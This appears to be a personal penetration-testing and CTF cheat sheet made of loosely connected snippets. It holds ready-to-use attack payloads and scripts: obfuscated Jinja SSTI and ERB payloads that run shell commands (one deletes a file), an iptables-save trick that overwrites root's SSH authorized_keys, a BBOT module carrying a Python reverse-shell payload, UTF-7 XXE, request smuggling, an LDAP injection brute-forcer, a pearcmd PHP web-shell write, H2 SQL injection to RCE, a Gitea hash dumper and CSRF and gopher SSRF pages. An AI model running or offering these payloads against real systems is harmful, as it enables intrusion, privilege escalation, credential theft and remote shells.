    $query = "SELECT * FROM users WHERE name = '$input'";
    $result = $wpdb->get_results($query);
    // Display the result
    if ($result) {
        foreach ($result as $row) {
            echo "User: " . esc_html($row->name);
        }
    }
});
curl [url]/ -d "input=' or 1=1--+ "

Reference for all WP vulns



SSTI bypass with attr() if [] is filtered


()|attr('\x5f\x5f\x63lass\x5f\x5f')|attr('\x5f\x5f\x62ase\x5f\x5f')|attr('\x5f\x5fsub\x63lasses\x5f\x5f')()|attr('\x5f\x5f\x67etitem\x5f\x5f')(356)('ls',shell=True,stdout=-1)|attr('communicate')()
()|attr(%27\x5f\x5f\x63lass\x5f\x5f%27)|attr(%27\x5f\x5f\x62ase\x5f\x5f%27)|attr(%27\x5f\x5fsub\x63lasses\x5f\x5f%27)()|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(333)|attr(%27\x5f\x5finit\x5f\x5f%27)|attr(%27\x5f\x5fbuiltins\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fimport\x5f\x5f%27)(%27subprocess%27)|attr(%27Popen%27)(%27ls%27,stdout=-1)|attr(%22communicate%22)()
()|attr(%27\x5f\x5f\x63lass\x5f\x5f%27)|attr(%27\x5f\x5f\x62ase\x5f\x5f%27)|attr(%27\x5f\x5fsub\x63lasses\x5f\x5f%27)()|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(333)|attr(%27\x5f\x5finit\x5f\x5f%27)|attr(%27\x5f\x5fglobals\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fbuiltins\x5f\x5f%27)|attr(%27\x5f\x5fgetitem\x5f\x5f%27)(%27\x5f\x5fimport\x5f\x5f%27)(%27subprocess%27)|attr(%27Popen%27)(%27ls%27,stdout=-1)|attr(%22communicate%22)()

image

image

image


Iptables and iptables-save Arbitrary file overwrite as root


image

sudo /usr/sbin/iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'\n[publickey]\n';sudo /usr/sbin/iptables-save -f /root/.ssh/authorized_keys

Script for dumping pkdf2 hashes from Gita


#! /usr/bin/env python3
import sqlite3
from tenlib.transform import *
import sqlite3
import sys
set_message_formatter("Oldschool")
#Preparing Gitea db hashes[pbkdf2]
#opening db
def db_name(db_name: str) -> list:
    try:
       con =sqlite3.connect(db_name)
       cur = con.cursor()
       res = cur.execute("SELECT passwd,salt,name from user")
       return res.fetchall()
    except Exception as e:
         exit("[+] Database doesn't exist")


def process_data(data: list):
    for passwd,salt,name in data:
        passwd = base64.encode(bytes.fromhex(passwd))
        salt = base64.encode(bytes.fromhex(salt))
        hash = f"{name}:sha256:50000:{salt}:{passwd}"
        print(hash)

def main():
    if len(sys.argv) != 2:
        exit("[+]File not provided")

    result = db_name(sys.argv[1])
    process_data(result)

if __name__ == "__main__":
    main()

image


NODE INSPECTOR/CEF DEBUG ABUSE


node --inspect app.js #Will run the inspector in port 9229
node --inspect=4444 app.js #Will run the inspector in port 4444
node --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
node --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444
# --inspect-brk is equivalent to --inspect

node --inspect --inspect-port=0 app.js #Will run the inspector in a random port
# Note that using "--inspect-port" without "--inspect" or "--inspect-brk" won't run the inspector
node inspect <ip>:<port>
node inspect 127.0.0.1:9229
# RCE example from debug console
debug> require("child_process").spawnSync("notepad.exe")
require('child_process').execSync('ls',{stdio: 'inherit'})

image

image

Start-Process "Chrome" "--remote-debugging-port=9222 --restore-last-session"

BBOT privesc


image

import os
from bbot.modules.base import BaseModule

payload = "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\",8001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"bash\")'"
class dirty(BaseModule):
     print("I ran your dirty exploit,sensei!!!!")
     os.system(payload)

image

image


XXE bypass with utf-7


<!DOCTYPE foo [<!ENTITY example SYSTEM "/app/flag.txt"> ]><data><weight>&example;</weight><height>100</height></data>
iconv -f utf-8 -t utf-7 < me.xml

image

<?xml version="1.0" encoding="UTF-7"?>
<?xml version="1.0" encoding="UTF-7"?>+ADwAIQ-DOCTYPE foo +AFsAPAAh-ENTITY example SYSTEM +ACI-/app/flag.txt+ACIAPg +AF0APgA8-data+AD4APA-weight+AD4AJg-example+ADsAPA-/weight+AD4APA-height+AD4-100+ADw-/height+AD4APA-/data+AD4-

image

image


Bypassing escapeshellcmd() in php


$safe_filename = escapeshellcmd($filename);
$output = shell_exec("find /var/ -iname " . $safe_filename . " 2>&1");
sth -or -exec cat /etc/passwd ; -quit

image


Executing python code within comments [TexSAW 2025]


# coding: raw_unicode_escape
#\u000aimport os
#\u000aos.system("ls -lah")
#\u000aos.system("cat /flag.txt")
#! /usr/bin/env python3
from pwn import *
svr = remote("74.207.229.59",20240)
payloads = [b"coding: raw_unicode_escape",b"\\u000aimport os",b"\\u000aos.system(\"cat /flag.txt\")",b"\\u000aos.system(\"cat /*/*\")"]
for index,j in enumerate(payloads):
   svr.recv()
   svr.sendline(str(index).encode())
   svr.recv()
   svr.sendline(j)
   svr.recv()
   if index+1 == len(payloads):
      svr.sendline(b'N')
      print(svr.recv().decode())
   else:
      svr.sendline(b'y')

svr.close()

image


Reference-:



Python Sandbox bypass



Ironstone’s binexp notes



HTTP Request Smuggling



What happens in a Request Smuggling attack



How Request Smuggling vulnerabilities arise


POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11

q=smuggling
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

b
q=smuggling
0

Exploiting Request Smuggling Vulnerabilities



CL:TE vulnerability


image

image


TE-CL vulnerability


POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0
POST / HTTP/1.1
Host: 0a840084034a88008123fc40002200ab.web-security-academy.net
Cookie: session=fkJmh9avyVpYemUQDiwdtKtNezdcQOWr
Content-Length: 3
Transfer-Encoding: chunked

53
GPOST / HTTP/1.1
Host: 0a840084034a88008123fc40002200ab.web-security-academy.net

0

image


TE:TE-: Transfer-Encoding: Transfer Encoding


Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding
: chunked

image

image


Web Socket Vulnerabilities



Web sockets vulnerabilities



Exploiting web sockets vulnerabilities


{"message":"Hello Carlos"}
<td>Hello Carlos</td>
{"message":"<img src=1 onerror='alert(1)'>"}

SSTI [Server Side Request Forgery]


$output = $twig->render("Dear " . $_GET['name']);
curl <url>/?name=
render('Hello ' + username)
greeting = getQueryParameter('greeting')
engine.render("Hello +greeting+", data)
http://vulnerable-website.com/?greeting=data.username
http://vulnerable-website.com/?greeting=data.username}}<tag>
Hello Carlos<tag>
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'

image


SSTI in ERB


 <%= File.open('/etc/passwd').read %>

image

<%= self %>

image

<%= self.class.name %>

image

<%= system("whoami"); %>

image

<%=system(%27rm+morale.txt%27)%>

image


Reference



SSTI in Tornado[Code Context]


t = template.Template("<html></html>")
print(t.generate(myvalue="XXX"))


Reference-:



Ldap Injection


if request.method == 'POST':
        username = request.form['username']
        password = request.form['password']
        
        server = Server('localhost', port=389, get_info=ALL)

        conn = Connection(server, 
                          user=f'cn=admin,dc=bts,dc=ctf',
                          password=ADMIN_PASSWORD,
                          auto_bind=True)
if not conn.bind():
            return 'Failed to connect to LDAP server', 500

        conn.search('ou=people,dc=bts,dc=ctf', f'(&(employeeType=active)(uid={username})(userPassword={password}))', attributes=['uid'])
user=*)(uid=*)(uid=*&password=*
(&(employeeType=active)(uid=*)(uid=*)(uid=*)(userPassword={password}))

image

(Description=a*)
#! /usr/bin/env python3
import requests
import string
charset = string.ascii_lowercase + string.digits+"{}_"
url="https://lightweight.chal.bts.wh.edu.pl"
flag="BtSCTF{"
while True:
	for i in charset:
		payload = f"*)(uid=*)(Description={flag+i}*)(uid=*"
		data = {"username":payload,"password":"*"}
		status = requests.post(url,data=data).text
		if "Invalid credentials" in status:
			pass
		elif "User Description" in status:
			flag +=i
			print(f"[+] Found char:{flag}")
			break
	if flag.endswith("}"):
		print(f"[+] Flag is {flag}")
		break

image

userPassword:2.5.13.18:=\xx (\xx is a byte)
userPassword:2.5.13.18:=\xx\xx
userPassword:2.5.13.18:=\xx\xx\xx

Request Splitting in Apache 2.4.55[Willy Wonka[BYUCTF]]


RewriteEngine on
    RewriteRule "^/name/(.*)" "http://backend:3000/?name=$1" [P]
    ProxyPassReverse "/name/" "http://backend:3000/"
GET /name/a%20HTTP/1.1%0d%0aHost:%20localhost%0d%0aa:%20admin%0d%0a%0d%0aGET%20/ HTTP/1.1
Host: wonka.chal.cyberjousting.com

image


Reference:



Exploiting Whtmltopdf


<?php header('location:file://'.$_REQUEST['x']); ?>
<iframe src=http://<ip>/test.php?x=/etc/passwd width=1000px height=1000px></iframe>

image


NETXEC


sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
nxc smb ./[host_file_name]

image

nxc smb ./hosts.txt -u '' -p '' --shares

image

nxc smb ./hosts.txt -u 'anonymous' -p '' - shares

image

nxc smb  -u 'anonymous' -p '' -M spider_plus -o DOWNLOAD_FLAG=True

image

nxc smb ./hosts.txt -u "${TARGET_USERNAME}" -p "${TARGET_PASSWORD}"

Mounting c:\ filesystem of a windows host on wsl


mount -f drvfs 'c:' /mnt/dir

Decrypting GPG in your target machine


cp -r /home/hish/.gnupg /tmp/gnupg-hish
chmod -R 700 /tmp/gnupg-hish
export GNUPGHOME=/tmp/gnupg-hish
gpg --list-secret-keys --keyid-format LONG
gpg --decrypt /home/hish/backup/keyvault.gpg

image


Cracking bcrypt with hashacat


hashcat -a 0 -m 3200 (hash) (wordlist)

Fuzzing php extensions



Reading more than a single line with latex injection


\documentclass{article}
\usepackage{verbatim}

\begin{document}

\verbatiminput{/challenge/app-script/ch23/.passwd}

\end{document}
}

H2 db sqlinjection to rce


SQL Injection';CREATE ALIAS exec_cmd1 AS 'String shellme(String cmd) throws java.io.IOException {
     java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\\\A");
     return s.hasNext() ? s.next() : "";}'--

image


Reference



Exploiting JWT Algorithm Confusion


docker build . -t sig2n
docker run -it sig2n /bin/bash
python3 jwt_forgery.py ey.... ey....
FROM ubuntu:20.04

RUN apt update && apt install -y python3.8 python3-pip python3-gmpy2 libgmp-dev vim libmpfr-dev libmpc-dev && rm -rf /var/lib/apt/lists/*

WORKDIR /app

COPY . .

RUN pip3 install -r requirements.txt

Submitting Json for CSRF


<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://0a5e002c03f4803d8cf0f98a009b00ea.web-security-academy.net/graphql/v1" method="POST" enctype="text/plain">
      <input type="hidden" name="query" value='mutation { changeEmail(input: { email: "wiener@normal-user.net" }) { email } }' />
      <input type="submit" id="send">
    </form>
    <script>
     document.getElementById("send").click();
    </script>
  </body>
</html>

Recreating Js Map file


./sourcemapper -output dhubsrc -url []

Pearcmd RCE


<?php
session_start();

if (isset($_GET['lang'])) {
  $lang = $_GET['lang'];
  // we don't trust the GET parameter, comes from the user
  if ($lang != 'en' && $lang != 'it') {
    // default if lang is not valid, is italian
    $lang = 'it';
  }
  // Register the session and set the cookie
  $_SESSION['lang'] = $lang;
  setcookie('lang', $lang, time() + (3600 * 24 * 30));
} else if (isset($_SESSION['lang'])) {
  $lang = $_SESSION['lang'];
} else if (isset($_COOKIE['lang'])) {
  // cookie is safe, we set it ourself
  $lang = $_COOKIE['lang'];
} else {
  // default language is browser language
  $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
  if ($lang != 'en' && $lang != 'it') {
    // default if browser is not valid, is italian
    $lang = 'it';
  }
}

// include the language file
include 'lang/' . $lang . '.php';
?>

image

GET /index.php?+config-create+/<?=system($_GET['cmd']);?>+/tmp/hello.php HTTP/1.1
Host: 172.17.0.2
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Sec-GPC: 1
Accept-Language: en-US,en;q=0.8
Accept-Encoding: gzip, deflate, br
Cookie: lang=../../../../usr/local/lib/php/pearcmd
Connection: close

image


References



HTTP req with gopher for curl


import string
import requests

raw_post_request = f""""""
FULL = raw_post_request.encode().hex()
payload = ""
for c in range(0,len(FULL),2):
    ch = chr(int(FULL[c:c+2],16))
    payload += ch if ch in string.ascii_lowercase+string.ascii_uppercase+string.digits else f"%{FULL[c:c+2]}"
gopher_url = f"gopher://localhost:8080/_{payload}"
print(gopher_url)